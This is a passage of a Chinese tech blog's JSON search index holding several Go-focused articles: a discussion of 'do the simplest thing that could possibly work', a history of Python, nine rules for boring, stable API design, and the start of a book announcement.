如果还不行，再下一步呢？ 如果数据不能丢失，且服务是多实例部署，那么引入外部依赖（如Redis）才成为那个“能奏效的最简单的事”。 这个思考过程的精髓在于，它强迫我们不断地质问自己：“真的有必要吗？” 直到我们确认，更复杂的方案是解决当前真实存在的约束的唯一途径时，才去实施它。这正是极限编程中“YAGNI”（You Ain’t Gonna Need It）原则的终极体现。\n“简单”的真谛：少即是多，平庸即伟大 一个普遍的现象是，初级工程师热衷于使用他们新学会的各种工具——数据库、缓存、消息队列、代理——来构建复杂的系统，并在白板上画出纵横交错的箭头，这让他们感觉像在做“真正的工程”。\n然而，软件设计的精髓，如同武学大师的境界，在于学习何时做得更少，而非更多。\nGoedecke指出，伟大的软件设计往往看起来平庸无奇（underwhelming）。它不会让你惊叹于其复杂精巧的结构。相反，当你面对一个伟大的设计时，你通常会感到惊讶：“哦，原来这个问题这么简单？”或者“太好了，我们实际上并不需要做那些复杂的事情。”\nUnicorn web服务器是伟大的设计，因为它利用了Unix进程这一极其“无聊”但无比可靠的原语，就解决了请求隔离、水平扩展和崩溃恢复等核心问题。标准的Rails REST API是伟大的设计，因为它用最枯燥的方式，完美地满足了CRUD应用的需求。\n对三大反对意见的深刻辩驳 当然，“做最简单的事”这一法则总会面临三个经典的质疑。Goedecke对这些质疑的回应，构成了文章最精彩的部分。\n1. 反对意见一：“这难道不会导致‘大泥球’（Big Ball of Mud）吗？” “做最简单的事”听起来像是鼓励走捷径、写“hack代码”。我们都见过那种由无数“hack”堆砌而成的、无法维护的“大泥球”系统。\nGoedecke的反驳： “Hack”代码根本不简单！\n“Hack”只是“更容易想到”：一个临时的补丁或权宜之计，通常是我们能最快想到的方案，但这并不意味着它是最简单的。\n“Hack”增加了系统的认知负荷：每一个“hack”都为代码库引入了一个需要被“特殊记忆”的例外。随着“hack”的增多，系统的整体复杂性是在增加，而非减少。\n真正的“简单”方案需要深度思考：找到一个正确的、优雅的修复方案，往往需要对系统有更深入的理解，并探索多种可能性。这个“正确的修复”通常比“hack”本身要简单得多。\n结论：做“最简单的事”不是放弃工程，恰恰相反，它要求我们投入更多的精力去做真正的工程设计，以找到那个最根本、最简洁的解决方案，而不是用一个又一个复杂的“补丁”去掩盖问题。\n2. 反对意见二：“‘简单’的定义是什么？这难道不是一个空洞的同义反复吗？” 如果“最简单”就等同于“好设计”，那么“做最简单的事”不就等于说“做好设计”这句废话吗？\nGoedecke借鉴了Rich Hickey在著名演讲《Simple Made Easy》中的思想，对”简单“给出了一个直观的定义：\n更少的“活动部件”：一个简单的系统，是你需要同时思考的东西更少的系统。 更低的内部耦合：一个简单的系统，是由具有清晰、直接接口的组件构成的。 基于这个定义，他给出了一个实用的决断法则：简单的系统更加稳定。\n如果在两个方案之间抉择，一个方案在需求不变的情况下需要持续的维护、监控和干预（比如部署和维护一个Redis集群），而另一个则不需要，那么后者就是更简单的。\n因此，对于Go的速率限制例子，内存方案比Redis方案更简单，因为它减少了外部依赖、监控需求和部署复杂性这些“活动部件”。\n3. 反对意见三：“难道我们不应该构建可扩展（scalable）的系统吗？” 这是来自大型科技公司工程师最常见的呐喊：“内存限流根本无法扩展！”\nGoedecke的反驳： 对“扩展性”的痴迷，是SaaS工程领域最大的原罪。\n过早的扩展性设计通常是无效的：你无法准确预测一个非凡系统在流量增长几个数量级后，瓶颈会出现在哪里。为遥远的未来进行过度设计，往往是在解决一个根本不存在或被错误预测的问题。 过早的扩展性设计会使代码库僵化：为了所谓的“独立扩展”，你可能会过早地将一个单体服务拆分为多个微服务。这引入了网络通信、分布式事务等一系列极其困难的工程问题，使得实现某些功能变得异常艰难。“我见过很多次这种拆分，但真正从中受益的，可能只有一次。” 务实的扩展策略：最多为当前流量的2倍或5倍做准备。然后，保持系统的简单和灵活，以便在真正的瓶颈出现时，能够快速地识别和解决它。 在Go社区，我们经常看到关于“单体 vs 微服务”的讨论。Goedecke的观点为我们提供了清晰的指引：保持单体的简单性，直到拆分的必要性变得无可辩驳。 一个设计良好、简单的Go单体应用，其扩展能力远超大多数人的想象。\n小结：拥抱当下，而不是预测未来 Goedecke在文末总结道，软件开发有两种基本方式：\n预测未来：预测半年或一年后的需求，并为此设计一个“最佳”系统。 拥抱现在：为当前已知的、真实的需求，设计一个“最佳”系统。 他悲观地认为，我们人类作为一个集体，预测系统未来走向的能力非常有限。我们甚至很难完全理解一个系统当前的状态。因此，第一种方式往往导致糟糕的设计。\n唯一的理性选择是第二种：做那个可能奏效的、最简单的事。\n这要求我们放弃作为工程师的某种虚荣心，不再追求构建那些看起来“令人印象深刻”的复杂系统。相反，我们应该拥抱“无聊”，致力于创造那些看似平庸，却异常健壮、稳定且易于理解和修改的系统。\n这，或许就是从“优秀”走向“卓越”的工程师，其设计哲学的终极奥义。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-simplest-thing-that-could-possibly-work-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work\"\u003ehttps://tonybai.com/2025/08/31/the-simplest-thing-that-could-possibly-work\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在我们解读了Github工程师Sean Goedecke关于\u003ca href=\"https://tonybai.com/2025/08/26/good-system-design/\"\u003e“无聊即可靠”的系统设计\u003c/a\u003e和\u003ca href=\"https://tonybai.com/2025/08/29/good-api-design\"\u003eAPI设计理念\u003c/a\u003e之后，他再次带来了一篇精彩的的文章——《\u003ca href=\"https://www.seangoedecke.com/the-simplest-thing-that-could-possibly-work/\"\u003eDo the simplest thing that could possibly work\u003c/a\u003e》。这既是对前两篇文章思想的延续，更是将其核心哲学提炼为一条终极黄金法则：在软件设计的每一个环节，都应“做可能奏效的最简单的事”。\u003c/p\u003e","title":"“无聊”设计的终极奥义：为什么“做可能奏效的最简单的事”是最高法则？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/30/python-an-origin-story\n大家好，我是Tony Bai。\n在编程语言的星空中，很少有哪颗星像Python一样，以如此温和而坚定的姿态，从一个不起眼的个人项目，成长为照亮地球未来的科技灯塔。如今，当我们谈论数据科学、人工智能时，Python几乎是绕不开的默认选项。但这一切的起点，竟源于一位程序员在阿姆斯特丹的圣诞假期里，为了“打发时间”而开始的一个“私活”项目。\n近期，一部名为《Python: The Documentary》的纪录片，通过对创始人Guido van Rossum及众多早期核心贡献者的访谈，为我们揭开了这段波澜壮阔的起源故事。这既是一部技术编年史，更是一部关于设计哲学、社区力量、时代机遇与人性光辉的启示录。\n本文将沿着这部纪录片的脉络，和大家一起穿越回那个个人电脑尚不普及、Usenet是唯一交流渠道的年代，探寻和复盘Python成功的真正基因。\n孕育：一次对“专家思维”的反叛 故事始于80年代的荷兰CWI（国家数学和计算机科学研究中心），一个诞生了Algol系列语言的学术圣地。当时，编程语言的设计理念被一种根深蒂固的经济关系所主导：计算机极其昂贵，而程序员相对廉价。因此，语言被设计得尽可能贴近硬件，以榨干机器的每一分性能，至于程序员需要花费多少时间去理解和编写，则在其次。\n正是在这种背景下，CWI的ABC语言项目应运而生。项目成员Lambert Meertens在尝试向艺术家教授编程时发现，现有的语言充满了对底层硬件知识的隐式要求，这对非技术背景的人来说是一堵无法逾越的高墙。ABC的目标，就是创造一门“易学、易教、易用”的语言，让初学者无需关心“那些凌乱的硬件细节”。\nGuido van Rossum，当时还是一名年轻的程序员，被雇佣来将ABC的原型实现为一个完整的系统。他在这门语言上投入了三年半的心血。然而，ABC生不逢时。在那个没有互联网的年代，分发软件需要邮寄软盘，ABC几乎没有触及到它的目标受众，并最终被CWI高层扼杀。\n这次失败的经历，却在Guido心中埋下了一颗种子。\n诞生：在C与Shell之间的“甜蜜点” 项目被砍后，Guido被调往一个名为Amoeba的分布式操作系统项目。他的任务是为这个系统编写大量的用户应用程序。他很快发现，使用C语言来完成这些任务极其痛苦和低效，而使用Shell脚本又缺乏足够的编程能力。\n“天啊，如果我们能用ABC来写这些工具就好了，”Guido回忆道，“每个工具可能只需要半页代码，我几周就能搞定，而不是看起来要花上好几年。”\n但他同样意识到，ABC过于抽象，它刻意回避了与文件系统、进程等操作系统底层交互的能力。此时，一个清晰的需求浮现了：市场需要一种能够弥合C语言的强大能力与Shell脚本的易用性之间鸿沟的语言。\n当时，Perl是这个生态位的有力竞争者，但Guido和他的同事们并不欣赏它。“我们觉得它作为一门编程语言并不好，几乎和Basic一样糟糕，只是糟糕的方式不同。” 正是在这种“一个能打的都没有”的背景下，Guido做出了一个改变历史的决定。\n1989年的圣诞假期，他没有选择休息，而是开始了自己的“私活”项目：创造一门属于自己的编程语言。\n设计哲学：“禅”的雏形 Guido的新语言，自然地继承了ABC的许多思想遗产，其中最著名、也最具争议的，就是使用缩进来组织代码块。但他同样抛弃了ABC中那些他认为不切实际的部分，朝着更务实的方向前进。\n更重要的是，Python从诞生之初就树立了一种与当时主流脚本语言Perl截然相反的哲学。Perl的座右铭是“条条大路通罗马”（There’s more than one way to do it），鼓励天马行空的语法和技巧。而Python则悄然确立了自己的核心原则：“应该有且最好只有一种显而易见的方法来做事”（There should be one– and preferably only one –obvious way to do it）。\n这种对**明确性（explicitness）和可读性（readability）**的极致追求，后来被社区核心成员Tim Peters总结为著名的《The Zen of Python》。当人们困惑于Python的设计哲学时，Tim Peters用诗一般的语言给出了答案：\nBeautiful is better than ugly. (优美胜于丑陋) Explicit is better than implicit. (明了胜于晦涩) Simple is better than complex. (简洁胜于复杂) Readability counts. (可读性很重要) 这可不是什么漂亮的口号，而是真正指导Python语言演进的根本大法。一位科学家用户在纪录片中分享道：“我用Perl处理数据，一年后回来看代码，完全不知道自己写了什么。而Python的代码，一年后我依然能读懂。” 这正是Python设计哲学的胜利。\n社区的黎明：从Usenet的21个碎片开始 当Guido将这个名为“Python”（源自他喜爱的喜剧团体“Monty Python”）的语言展示给ABC的同事时，并非所有人都表示欢迎。他的导师Lambert Meertens的第一反应是输入一行代码，让解释器崩溃了，这让Guido备受打击。但第二天，他就修复了这个问题。这种务实、快速迭代的风格，贯穿了Python的整个发展历程。\n很快，Python在CWI内部吸引了第一批真正的用户，Sjoerd Visscher和Jack Jansen。他们成为了Guido最初的反馈来源，“你只需要对他喊一声‘嘿，Guido！’”。一个微小的、紧密的社区开始形成。\n历史的关键转折点在于CWI的开明决定：他们允许Guido以开源的形式将Python发布到全世界。“他们不知道这会成为一个巨大的成功，这很好，”Guido笑着说，“如果他们知道了，他们可能会阻止，那它就永远不会成功了。”\n在那个前互联网时代，发布软件是一项艰苦卓绝的任务。团队必须将源代码打包、压缩、转换成ASCII编码，再分割成21个符合Usenet帖子大小限制的碎块。用户则需要手动下载所有碎片，再反向执行所有步骤。然而，Guido充满诱惑力的“预告”吸引了足够多的早期信徒，他们不辞辛劳地完成了这套复杂的“解压”流程。很快，来自世界各地的邮件和Usenet帖子开始涌入，一个全球性的社区就此诞生。\n成长与迁徙：从NIST车间到成为“仁慈的独裁者” Python的早期发展离不开美国国家标准与技术研究院（NIST）的一群爱好者。他们组织了第一次Python研讨会，只有20人参加，在一个“没有窗户的政府办公楼”里。正是这次会议，奠定了Python社区开放、协作的基调，也催生了Guido著名的头衔——“仁慈的独裁者”（Benevolent Dictator for Life, BDFL）。\n这个听起来有些戏谑的称号，精准地描述了Guido在社区中的角色：他欢迎所有人的想法，但保留对语言发展的最终决定权。这种模式在混乱的开源世界中提供了一种宝贵的稳定性和方向感，确保了Python在演进过程中没有因为无休止的争论而偏离其核心哲学。\n随后，Guido移居美国，加入了CNRI（国家研究创新公司），这是他第一次可以全职投入到Python的开发中。在这里，他不仅获得了稳定的支持，还拥有了python.org域名，为社区建立了一个正式的家园。（一个有趣的插曲是，他们当时没有注册python.com，导致该域名多年来被一个成人网站占据。）\n走向主流：科学计算与Web浪潮的双重助推 Python的崛起并非一帆风顺，而是踩中了数次技术浪潮的节拍。\n科学计算社区的拥抱：最初，科学家们使用Perl或MATLAB等工具，但Perl代码难以维护，而MATLAB是昂贵的商业软件。Python凭借其开源属性、出色的可读性和通过C扩展实现高性能计算的能力，迅速赢得了科学计算领域的青睐。NumPy、SciPy等库的出现，为Python构建了坚实的护城河。Guido本人虽然不是科学家，但他对社区需求的开放态度，使得Python能够不断演进，满足这个群体的需求。\n互联网泡沫与Web开发：2000年初，随着Web的兴起，开发者需要一种能够快速构建网络服务的语言。相比于Java的笨重和Perl的混乱，Python的“胶水语言”特性使其成为理想选择。Dropbox和YouTube等早期巨头的成功，雄辩地证明了Python在生产力上的巨大优势。Dropbox的创始人Drew Houston回忆道：“Google有一个百人C++团队在做视频网站，却始终追不上那个叫YouTube的小团队，后来他们发现，后者只有几个用Python的工程师。”\n3.0之痛：一次差点撕裂社区的“大分裂” 当一门语言获得巨大成功后，如何处理历史包袱就成了一个棘手的问题。Python 2在Unicode和bytes处理上的混乱设计，成为了Guido心中的一根刺。2008年末，Python 3.0发布，这是一次不向后兼容的重大升级，旨在从根本上解决这些历史问题。\n团队乐观地估计，社区只需要几年时间就能完成过渡。但他们严重低估了现实的阻力。对于拥有数百万行Python 2代码的公司（如Dropbox）来说，迁移成本是天文数字。许多核心库的维护者也迟迟不愿跟进，导致生态系统出现严重割裂。\n这场“2 vs 3”的分裂持续了近十年，一度让社区陷入绝望。一些著名的开发者公开表示“不会迁移”，认为Python 3的收益不足以弥补其带来的痛苦。\n最终，是时间、工具和榜样治愈了这场创伤。2to3、six等兼容库的出现降低了迁移门槛；Instagram等大型公司率先完成迁移并分享了性能提升的成功经验，给了社区巨大的信心；而Python 2.7在2020年正式停止支持，成为了压倒骆驼的最后一根稻草。\n这场痛苦的经历给Guido和整个社区留下了深刻的教训：“Python可能已经太庞大了，再也无法承受一次这样的迁移。”如今，“永远不会有Python 4”已经成为社区的共识。\n文化的胜利：Python的真正护城河 回顾Python的成功之路，语法和功能固然重要，但真正让它与众不同的，是其独特而强大的社区文化。\n开放与包容：从Guido亲自指导一位毫无开源经验的女性开发者Mariatta Wijaya成为核心贡献者，到PyLadies社区的兴起，Python社区在推动多元化和包容性方面做出了巨大努力。这使得Python不仅仅吸引了传统的白人男性程序员，还吸引了来自不同背景、不同领域的广大人群。 幽默与人文关怀：从以“Monty Python”命名，到import this会打印出《The Zen of Python》，再到用“spam, spam, spam”作为会议T恤的口号，Python社区始终保持着一种轻松、幽默的氛围。这让参与开源不再是一件枯燥严肃的事情，而是一种有趣的社交活动。 “我为语言而来，为社区而留”: 这是前PyCon主席Jesse Noller的名言，也是无数Python开发者的心声。PyCon不只是一个技术会议，更像一个大型的家庭聚会。人们在这里交流思想，结交朋友，共同塑造着这门语言的未来。 小结：一场精心策划的“意外” Python的成功，是一系列因素的完美风暴。它诞生于一个恰当的时机，满足了市场对一种更人性化、更高生产力语言的渴求。它的设计哲学——简洁、明确、可读——被证明是应对大型项目和团队协作复杂性的最佳解药。它抓住了一次又一次的技术浪潮，从科学计算到Web开发，再到今天的人工智能。\n但最重要的，是Guido van Rossum和整个社区所展现出的务实、开放和人文精神。他们愿意为了长远的目标而承受短期的痛苦（Python 3迁移），也愿意为了让社区更美好而不断反思和改进。\n这个始于圣诞节的“私活”项目，最终没有成为又一个被遗忘在历史尘埃中的ABC。它活了下来，并茁壮成长，因为它不仅是一门优秀的编程语言，更是一个充满活力的、不断进化的生命体。它的故事，至今仍在激励着每一个开源世界的参与者。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/30/python-an-origin-story/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/python-an-origin-story-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/30/python-an-origin-story\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/30/python-an-origin-story\"\u003ehttps://tonybai.com/2025/08/30/python-an-origin-story\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在编程语言的星空中，很少有哪颗星像Python一样，以如此温和而坚定的姿态，从一个不起眼的个人项目，成长为照亮地球未来的科技灯塔。如今，当我们谈论数据科学、人工智能时，Python几乎是绕不开的默认选项。但这一切的起点，竟源于一位程序员在阿姆斯特丹的圣诞假期里，为了“打发时间”而开始的一个“私活”项目。\u003c/p\u003e","title":"Python简史：一个圣诞节的“私活”项目，如何改变了编程世界？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/29/good-api-design\n大家好，我是Tony Bai。\n在解读《Everything I know about good system design》一文时，我们曾提炼出一个核心观点：“无聊即可靠”。这个看似反直觉的法则，在追求创新与复杂的软件工程世界里，如同一股清流。现在，这个“无聊”哲学将从宏观的系统设计，延伸至微观但至关重要的领域——API设计。\nSean Goedecke在其后续力作《Everything I know about good API design》中，再次强调了这一理念。他认为，一个伟大的API，必然是“无聊”的。它不应追求新奇或有趣，而应像一把用了多年的锤子，让使用者拿起就能用，无需思考。\n对于身处云原生和微服务浪潮之巅的Go开发者而言，API是我们日常呼吸的空气。本文将再次进入Goedecke的思想空间，学习他的API设计精髓，并将其提炼为九条具体的、可操作的法则。我们将探讨，如何通过拥抱“无聊”，在开发者熟悉性与系统灵活性之间找到完美平衡，构建出真正经得起时间考验的Go API。\n法则一：追求无聊，API是工具而非产品 对于API的构建者，API是倾注心血的产品；但对于消费者(也就是开发者)而言，API纯粹是工具。他们在乎的是如何用最少的心智负担，最快地实现目标。任何让他们停下来思考“这个API为什么这么设计？”的时间，都是浪费。\n一个伟大的API，必然是“无聊”的。 它的设计应该如此符合行业惯例和直觉，以至于开发者在阅读文档前就能猜到十之八九。\n如果是在Go的世界里，这意味着：\nRESTful: 遵循HTTP方法论。GET用于检索，POST用于创建，PUT/PATCH用于更新，DELETE用于删除。 命名一致: 在JSON payload中全局统一使用snake_case或camelCase。 结构可预测: 错误响应体遵循统一结构，如{“error”: {“code”: “invalid_argument”, “message”: “user_id cannot be empty”}}。 当你的API“无聊”到开发者可以几乎不假思索地使用时，你就为他们提供了最高效的工具。\n法则二：视兼容性为生命，“绝不破坏用户空间” Linus Torvalds的名言“我们绝不破坏用户空间”是API维护者的最高信条。API一旦发布，就如同一份公开签订的契约，你对所有下游消费者负有神圣的责任：避免伤害他们。\n破坏性变更（Breaking Change）是API的原罪，包括但不限于：\n删除或重命名字段 修改字段类型 (int -\u0026gt; string) 重构JSON结构 (user.address -\u0026gt; user.details.address) 改变认证方式或核心业务流程 HTTP协议头中的Referer字段本应是Referrer，这个拼写错误之所以被永久保留，正是因为修正它会破坏无数现有系统。同样的，当年Unix系统API中open函数使用的oflag选项之一本应是O_CREATE，但实际上O_CREAT却一致沿用至今，也是为了保证API不被破坏的典型例子。为了API的所谓“整洁”或“正确性”而进行破坏性变更，是一种极其不负责任的行为。\nGo的encoding/json库默认忽略JSON中未知的字段，这正是该原则的体现。它假定API会演进，从而保护消费者免受新增字段这类非破坏性变更的影响。\ntype User struct { ID int json:\u0026#34;id\u0026#34; Name string json:\u0026#34;name\u0026#34; } // 即使API返回 {\u0026#34;id\u0026#34;: 1, \u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34;, \u0026#34;new_feature\u0026#34;: true} // 上述User结构体依然能成功解析，因为new_feature被优雅地忽略了。 法则三：版本控制是最后的“核武器”，而非常规升级工具 当破坏性变更的价值确实大到无法忽视时，唯一的负责任做法是版本控制（Versioning）。其核心是同时提供新旧版本的API，让用户按自己的节奏迁移。\n在Go服务中，常见的两种版本实现策略如下：\nURL路径版本控制（最常见）: /v1/users 和 /v2/users。在Go的chi或gorilla/mux路由器中实现非常直观。 HTTP Header版本控制: 通过X-API-Version: 2 header指定。更灵活，但对客户端要求更高，可在Go中间件中实现。 然而，作者却尖锐地指出，版本控制是“必要的邪恶”。它会给用户带来文档查找的困惑，并让维护者的工作量和系统复杂性成倍增加。每个新版本都意味着一套全新的端点、测试用例和文档需要维护。即使后端通过“翻译层”共享核心逻辑，抽象泄漏也几乎不可避免。\n因此，这条法则的真谛是：将版本控制视为你轻易不会动用的最后手段。你的首要目标应该是设计出无需版本更迭的、具有前瞻性的API。\n法则四：产品价值优先，API的优雅是边际效益 一个残酷但必须接受的现实：API的成功99%取决于其背后产品的价值。用户使用API是为了与你的产品交互，而不是为了欣赏API本身的设计。\n产品为王: 如果你的产品（如Github、微信等）具有不可替代的价值，开发者会忍受其API的种种不便。对这些公司而言，投入巨资重构API的ROI远低于开发新功能。 优雅无用: 如果你的产品无人问津，即使API设计得如艺术品般完美，也无人欣赏。 API质量是一个边际特性，它只在用户于两个功能几乎相同的竞品之间做选择时，才起到关键作用。但反过来说，是否提供API却是一个核心特性。一个没有API的产品在今天是不可想象的。\n法则五：API是产品模型的镜子，先理顺内部逻辑 虽然好的API无法拯救一个坏产品，但一个糟糕的产品设计几乎必然会催生一个糟糕的API。API通常是产品核心资源（领域模型）的直接映射。如果你的内部模型本身就是一团乱麻，API这面镜子只会诚实地反映出这种混乱。\n例如，一个系统的状态转换逻辑充满了各种隐式规则和特殊情况。反映在API上，可能就是你需要调用三个不同的端点，并传入一堆看似无关的参数，才能完成一个在UI上看起来很简单的操作。\n在Go微服务架构中，这条法则尤为重要。在定义gRPC的.proto文件或RESTful的OpenAPI规范之前，请确保你的领域模型是清晰、一致且稳定的。否则，API将成为你技术债的永久性公开展示窗口。\n法则六：认证必须简单，API Key是第一公民 你应该让用户能通过一个长期有效的API Key来使用你的API。\n尽管OAuth2等短生命周期凭证更安全，但它们的复杂性对于初学者、脚本小子、甚至非专业工程师（如销售、产品经理）来说，是一个巨大的入门障碍。每一次成功的API集成，都始于一个简单的curl命令。API Key是让这个命令跑起来最快的方式。\n# 这是任何开发者都希望看到的开始 curl -H \u0026#34;Authorization: Bearer YOUR_API_KEY\u0026#34; https://api.your-service.com/v1/users/me 在Go后端，处理Bearer Token是net/http中间件的一项基本功。先提供最简单的认证方式，再为有更高安全需求的企业级用户提供OAuth2等复杂选项，这才是明智的演进路径。\n法则七：拥抱幂等性，让API调用无惧重试 当一个POST请求因为网络超时或服务器返回500而失败时，客户端将陷入两难：操作成功了吗？我应该重试吗？重试会造成重复创建吗？\n解决方案是幂等性（Idempotency）。API应支持一个“幂等键”（Idempotency Key），通常通过HTTP Header（如Idempotency-Key: ）传递。服务器在收到写操作请求时：\n检查这个幂等键是否在近期内处理过。\n如果处理过，直接返回之前保存的成功响应，而不执行任何操作。\n如果没有，则执行操作，并将幂等键与结果关联，存入一个短时效的存储中（如Redis）。\n对于GET、PUT（全量更新）、DELETE这类天然幂等的操作，无需此机制。但对于POST（创建）和PATCH（部分更新），支持幂等性是API健壮性的重要标志。\n在Go中，这可以优雅地作为一个中间件来实现，与核心业务逻辑解耦。\n法则八：预设防线，用速率限制和熔断保护系统 UI用户的操作速度受限于人手，而API用户可以用代码发起洪水般的请求。任何暴露的API都可能被以代码的速度滥用，无论是恶意攻击还是无意的bug。\n实施速率限制（Rate Limiting）：这是API的标配。使用如golang.org/x/time/rate等库，为每个用户或API Key设置合理的请求速率上限。 返回限制信息：在HTTP响应头中包含X-RateLimit-Limit, X-RateLimit-Remaining, Retry-After，让客户端能够智能地进行流量控制。 准备“熔断器”：保留为特定用户或API Key临时禁用访问的能力，这是在系统遭受攻击或滥用时保护整体稳定性的最后防线。 法则九：面向未来，用游标分页处理大数据集 几乎所有API都需要提供列表查询功能。如果数据集可能增长到很大（例如，超过几千万条），简单的偏移量分页（?limit=20\u0026amp;offset=40）将成为性能灾难。\n偏移量分页（Offset-based Pagination） 在数据库层面对应OFFSET … LIMIT …，当OFFSET值巨大时，数据库需要扫描并跳过大量记录，导致查询性能随页码增加而线性下降。\n游标分页（Cursor-based Pagination） 是处理大规模数据集的最佳实践。客户端在请求下一页时，会传入上一页最后一条记录的唯一标识符（游标），如?limit=20\u0026amp;cursor=12345。SQL查询会变为WHERE id \u0026gt; 12345 ORDER BY id ASC LIMIT 20。由于id字段上有索引，这个查询无论翻到第几页，都能保持极高的、稳定的性能。\n在你的Go API响应中，应该总是包含一个next_cursor字段，告诉客户端下一次请求应该使用什么值。\ntype UserListResponse struct { Data []User json:\u0026#34;data\u0026#34; NextCursor string json:\u0026#34;next_cursor,omitempty\u0026#34; } 法则：对于任何可能增长的数据集，都应默认使用基于游标的分页。 这是一种至关重要的前瞻性设计。\n小结：API设计的“无聊”之道 这九条法则的核心，都指向了同一个目标：降低API消费者的认知负荷和未来风险。一个遵循这些法则的 API，在设计上可能是“无聊”的——它没有新奇的范式，没有炫技的结构。但正是这种“无聊”，才造就了它的可靠、可预测和易于集成。\n在Go的世界里，我们拥有强大的工具来构建高性能的API。但最终决定一个API成败的，并非是选择了net/http还是gRPC，而是那些蕴含在设计细节中的同理心、远见和对“契约精神”的尊重。去拥抱“无聊”吧，这正是通往伟大API设计的智慧之路。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/29/good-api-design/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/good-api-design-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/29/good-api-design\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/29/good-api-design\"\u003ehttps://tonybai.com/2025/08/29/good-api-design\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在解读《\u003ca href=\"https://www.seangoedecke.com/good-system-design/\"\u003eEverything I know about good system design\u003c/a\u003e》一文时，我们曾提炼出一个核心观点：“\u003ca href=\"https://tonybai.com/2025/08/26/good-system-design\"\u003e无聊即可靠\u003c/a\u003e”。这个看似反直觉的法则，在追求创新与复杂的软件工程世界里，如同一股清流。现在，这个“无聊”哲学将从宏观的系统设计，延伸至微观但至关重要的领域——API设计。\u003c/p\u003e\n\u003cp\u003eSean Goedecke在其后续力作《\u003ca href=\"https://www.seangoedecke.com/good-api-design/\"\u003eEverything I know about good API design\u003c/a\u003e》中，再次强调了这一理念。他认为，一个伟大的API，必然是“无聊”的。它不应追求新奇或有趣，而应像一把用了多年的锤子，让使用者拿起就能用，无需思考。\u003c/p\u003e","title":"无聊的API是最好的API：从系统设计到接口契约的九条法则"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/28/go-primer-published\n大家好，我是Tony Bai。\n前不久，在知乎上看到一个关于 Go 社区的帖子，其中一条评论让我感慨良多：\n“GopherChina 都没了，国内还有几人坚持？Tony Bai好像还在更新”\n短短一句话，道尽了社区的变迁与坚持的不易。这句来自读者的回答，让我内心欣慰，也让我有机会停下来，审视自己在这条路上走了多远，以及为什么还要继续走下去。\n答案或许很简单，就是三个字：长期主义。\n我的个人博客 tonybai.com，从 2004 年断断续续更新至今，已经走过了二十个年头。而我在 Go 语言这条路上的“长期主义”，则始于 2011 年。那时，Go 尚处襁褓，在国内几乎无人问津。我凭借着一股直觉和热爱，一头扎了进去，成为了国内最早一批的 Go 语言探索者。\n十余年来，这份坚持从未间断。从早期的博客分享，到后来出版的《Go语言精进之路》；从 GopherChina 大会的讲台，到几乎每日更新的 GopherDaily，我一直在尽我所能地为社区贡献。\n这份坚持也延续到了今年。从年初开始，我在公众号上陆续推出了多个“微专栏”系列，深入探讨 Go 源码与实践的细节；与此同时，我的新课程**《Go语言进阶课》**也已在极客时间上线，希望能带领大家向更深层次迈进。\n布道，其实是一件极具价值的事情——传递自己的观点，影响一群人，做成一件事。\n今天，我的这份“长期主义”清单上，又将增添新的一项。我想借此机会，向一直支持我的朋友们，正式宣布一个喜讯。\n官宣喜讯：历时一年半，2.4w 人订阅的《Go语言第一课》成书！ 四年前，我在极客时间开设了专栏**《Go语言第一课》**。令我欣慰的是，这个专栏得到了广大 Gopher 的认可和喜爱。截至今日，它已经影响了超过 2.4 